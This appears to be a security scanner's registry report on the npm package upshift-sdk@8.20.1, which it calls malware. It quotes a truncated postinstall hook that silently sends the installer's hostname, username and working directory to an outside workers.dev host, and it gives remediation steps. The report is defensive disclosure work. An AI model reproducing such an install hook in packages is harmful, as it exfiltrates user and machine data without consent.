registry / Data exfiltration / upshift-sdk
upshift-sdk
JS SDK powering the August Digital ecosystem.
This report shows the evidence for upshift-sdk@8.20.1, the only known version.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThe postinstall hook performs concrete, unconsented collection and external transmission of local machine/user metadata. The benign-looking runtime analytics code does not mitigate this independent install-time behavior.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm postinstall during package installation
Impact
Leaks installer identity and working-directory metadata to a third party.
Mechanism
silent install-time host metadata exfiltration via HTTPS GET
Attack narrative
During npm installation, package.json executes inline Node code that builds a JSON payload from npm package variables, hostname, username, cwd, and a timestamp, URL-encodes it, and sends it through https.get to build-metrics-collector.cdn-ops-health.workers.dev. Errors are silently ignored, so the collection is invisible to installers and does not require invoking the SDK.
AI rationale
The postinstall hook performs concrete, unconsented collection and external transmission of local machine/user metadata. The benign-looking runtime analytics code does not mitigate this independent install-time behavior.
Evidence
package.jsonlib/core/analytics/sentry-runtime.jslib/main.jslib/core/analytics/user-identity.js
Network endpoints1
build-metrics-collector.cdn-ops-health.workers.dev/npm-install/
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json defines an unconsented postinstall node command.
- The hook sends hostname, OS username, cwd, package/version, and timestamp to an external host.
- The request is wrapped in try/catch, suppressing failures.
- No user command or SDK runtime action is required.
Evidence against
- Shipped SDK code is a DeFi client with package-aligned API/RPC endpoints.
- lib/core/analytics/sentry-runtime.js uses new Function only to resolve Sentry across Node/browser bundles.
Behavioral surface
CryptoEnvironmentVarsEvalNetwork
HighEntropyStringsUrlStrings
Source & flagged code
3 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node -e "try{require('https').get('https://build-metrics-collector.cdn-ops-health.workers.dev/npm-install/'+encodeURIComponent(JSON.stringify({p:process.env.npm[redacted]||'?',v...
Critical
Red Install Lifecycle Script
Install-time lifecycle script matches a deterministic static-gate block pattern.
package.jsonView on unpkg•scripts.postinstall = node -e "try{require('https').get('https://build-metrics-collector.cdn-ops-health.workers.dev/npm-install/'+encodeURIComponent(JSON.stringify({p:process.env.npm[redacted]||'?',v...
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkglib/core/analytics/sentry-runtime.jsView file
32// `require('@sentry/node')`, which breaks the browser bundle.
L33: const req = new Function('return typeof require === "function" ? require : null')();
L34: return typeof req === 'function' ? req : null;
Findings
1 Critical1 High3 Medium4 Low
CriticalRed Install Lifecycle Scriptpackage.json
HighInstall Time Lifecycle Scriptspackage.json
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
LowEvallib/core/analytics/sentry-runtime.js
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to upshift-sdk@8.20.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing upshift-sdk@8.20.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.